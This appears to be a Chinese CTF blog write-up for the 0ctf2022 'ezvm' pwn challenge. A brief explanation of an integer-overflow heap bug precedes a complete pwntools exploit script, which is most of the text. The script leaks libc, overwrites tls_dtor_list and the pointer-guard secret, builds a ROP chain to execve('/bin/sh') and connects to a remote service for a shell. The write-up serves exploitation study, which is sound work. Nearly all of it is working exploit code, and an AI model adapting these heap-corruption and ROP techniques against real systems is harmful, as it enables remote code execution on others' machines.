# 思路

在申请 memery 的时候存在整数溢出,程序虽然会检测到,但是允许我们进行一次的整数溢出申请,这样实际的 memery 的 count 很大,但是 chunk 的大小远小于这个值,造成了堆块的越界读写。
当我们申请一个很大的堆块,会在 libc 附近分配,配合越界写,我们就可以修改 tls_dtor_list, 以及 secret 的值。
chunk 的释放冲 i 性能申请没有对其进行清空,所以,我们申请出一个 largebin 范围的 chunk,然后释放,这样再次将其申请出来的时候,在 memery [1] 会存有一个指针,就可以知道 libc 的及地址了。将这个数据存在这个 chunk+0x1d0 附近,在这里写一些数据,拼接出 mov_r_i 的指令,以及一个 jmp 到低地址的指令 释放。然后我们我们这次的时候,codesize 为 0x200, 就会将刚写进去的拼接指令,放到 code 的靠后的位置,我们只需要在 code 的最开始写一个 jmp,让 vm 跳到我们刚写的拼接指令哪里,将 libc 的放入寄存器。同时这一次的 memerycount 要发生溢出,并且在 libc 附近申请到一个 chunk. 这样根据偏移量,结合程序的一些基本运算,就得到了函数地址,gadget 地址。然后修改 tls_dtor_list 到 heap 上,并在哪里填充 rop, 以及修改 searet 的值。最后触发程序错误,直接 exit,getshell

# exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
from pwn import *
#r=process('./ezvm')
r=remote('202.120.7.210',40241)


code =b'\x00'*0

def push(rig):
global code
code +=p8(0)+p8(rig)

def pop(rig):
global code
code +=p8(1)+p8(rig)

def add():
global code
code+=p8(2)

def sub():
global code
code +=p8(3)

def imul():
global code
code +=p8(4)

def div():
global code
code+=p8(5)

def yu():
global code
code +=p8(6)

def left():
global code
code+=p8(7)

def right():
global code
code +=p8(8)

def And():
global code
code +=p8(9)

def Or():
global code
code +=p8(11)

def xor():
global code
code +=p8(12)

def judge0():
global code
code +=p8(13)

def jmp(address):
global code
code +=p8(14)+p64(address)

def jnz(address):
global code
code +=p8(15)+p64(address)

def jz(address):
global code
code +=p8(16)+p64(address)

def cmpequ():
global code
code+=p8(17)

def cmpsml():
global code
code+=p8(18)
def cmpbig():
global code
code +=p8(19)

def mov_r_i(rig,num):
global code
code+=p8(20)+p8(rig)+p64(num)

def mov_m_r(rig,offset):
global code
code +=p8(21)+p8(rig)+p64(offset)
def mov_r_m(rig,offset):
global code
code +=p8(22)+p8(rig)+p64(offset)

def clear():
global code
code = b'\x00'*0
#size(stack) = 0x800 ====>we can use it to save 0x100 nums

def runcode(code,code_size,mem_size):

r.sendlineafter("Please input your code size:",str(code_size))
r.sendlineafter("Please input your memory count:",str(int(mem_size/8)))
r.sendlineafter("Please input your code:",code)

mov_r_i(0,0x111111)
mov_r_i(1,0x222222)
mov_r_i(2,0x333333)
mov_r_i(3,0x444444)

push(0)
push(1)
push(2)
push(3)
#context.log_level = 'debug'
print(len(code))
r.sendlineafter("Welcome to 0ctf2022!!",'aaa')

runcode(code,0xf0,0x600)
#gdb.attach(r,'brva 0x000001582')

clear()


#leak the libc

mov_r_m(0,0)
mov_r_m(0,0)
mov_r_i(1,0x219ce0)
mov_r_i(1,0x219ce0)

push(2)
push(3)
push(0)
push(1)
sub()
pop(0)#put libc into heap

mov_r_i(1,0x14000000000000)
mov_m_r(1,0x3a-0xa)
mov_m_r(0,0x3b-0xa)
mov_r_i(1,0xfffffffffffe700e)#jmp
mov_m_r(1,0x3c-0xa)
mov_r_i(2,0xffff)#addr
mov_m_r(2,0x3d-0xa)

print(len(code))
r.sendlineafter("continue",'')
runcode(code,0xf0,0x600)
clear()

#we have the libc in mem
tls_offset = 0x0028c0 #libc -
tls_dtor_list_offset = 0x0416d8#libc-
secret_offset = 0x0028c0-0x30
heap_offset = 0x43ff0
sec_heap_offset = 0x0082ec
tls_dtor_list_heap_offset = 0x0082bb
#gdb.attach(r)
#code3 we need to malloc a big one

jmp(0x000186-9)

push(0)
mov_m_r(0,0) #memery[0] ==libc
# mov_r_i(1,secret_offset)
# push(1)
# sub()
# pop(2)
# mov_m_r(2,1) #memery[1] = secret_address
sec = 0x5143329d0ccc697
mov_r_i(1,sec)
mov_m_r(1,sec_heap_offset) #secret = 0xcafebabedeadbeef



pos_offset = int(0x100/8)
#read rop to che chunk
'''rop
leave_ret = libc + 0x000562ec
prdi = libc + 0x002a3e5
prsi = libc + 0x02be51
prdx_pr12 = libc +0x011f497
binsh = libc + 0x001d8698
execve = libc + 0xeb0f0

addr = ((leave_ret^sec)<<0x11)&0xffffffffffff8000
addr += ((leave_ret^sec)>>0x2f)&0x7fff


rop = p64(prdi) + p64(binsh)
rop += p64(prsi) + p64(0)
rop += p64(prdx_pr12) + p64(0)*2
rop += p64(execve)

'''
leave_ret = 0x000562ec
prdi = 0x002a3e5
prsi = 0x02be51
prdx_pr12 = 0x011f497
binsh = 0x001d8698
execve = 0xeb0f0



#write leave ret
push(0)
mov_r_i(1,leave_ret)
push(1)
add()
mov_r_i(1,sec)
push(1)
xor()
pop(2)
push(2) #2 xor save
push(2)

mov_r_i(1,0x11)
push(1)
left()
mov_r_i(1,0xffffffffffff8000)
push(1)
And()
pop(2) #addr lef
pop(3)

push(3) #xor res
mov_r_i(1,0x2f)
push(1)
right()
mov_r_i(1,0x7fff)
push(1)
And()
push(2)
add()
pop(2) #leave_ret_encrept

mov_m_r(2,pos_offset)
pos_offset+=1

#pop _rdi
push(0)
mov_r_i(1,prdi)
push(1)
add()
pop(2)
mov_m_r(2,pos_offset)
pos_offset+=1

#binsh
push(0)
mov_r_i(1,binsh)
push(1)
add()
pop(2)
mov_m_r(2,pos_offset)
pos_offset+=1

#pop rsi
push(0)
mov_r_i(1,prsi)
push(1)
add()
pop(2)
mov_m_r(2,pos_offset)
pos_offset+=1

#0
pos_offset+=1

#prdx 0 0
push(0)
mov_r_i(1,prdx_pr12)
push(1)
add()
pop(2)
mov_m_r(2,pos_offset)
pos_offset+=3

#execve
push(0)
mov_r_i(1,execve)
push(1)
add()
pop(2)
mov_m_r(2,pos_offset)


#change the tls_dtor_list
push(0)
mov_r_i(1,heap_offset-0x100)
push(1)
sub()
pop(2)
mov_m_r(2,tls_dtor_list_heap_offset+0x20) #list = heap_address


push(4)

#gdb.attach(r,'b exit')
context.log_level = 'debug'
print(hex(len(code)))
r.sendlineafter("continue",'')
r.sendlineafter("Please input your code size:",str(0x1f0))
r.sendlineafter("Please input your memory count:",str(0x6000000000008000))
r.sendlineafter("Please input your code:",code)
r.interactive()
Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

dreamcat WeChat Pay

WeChat Pay

dreamcat Alipay

Alipay

dreamcat PayPal

PayPal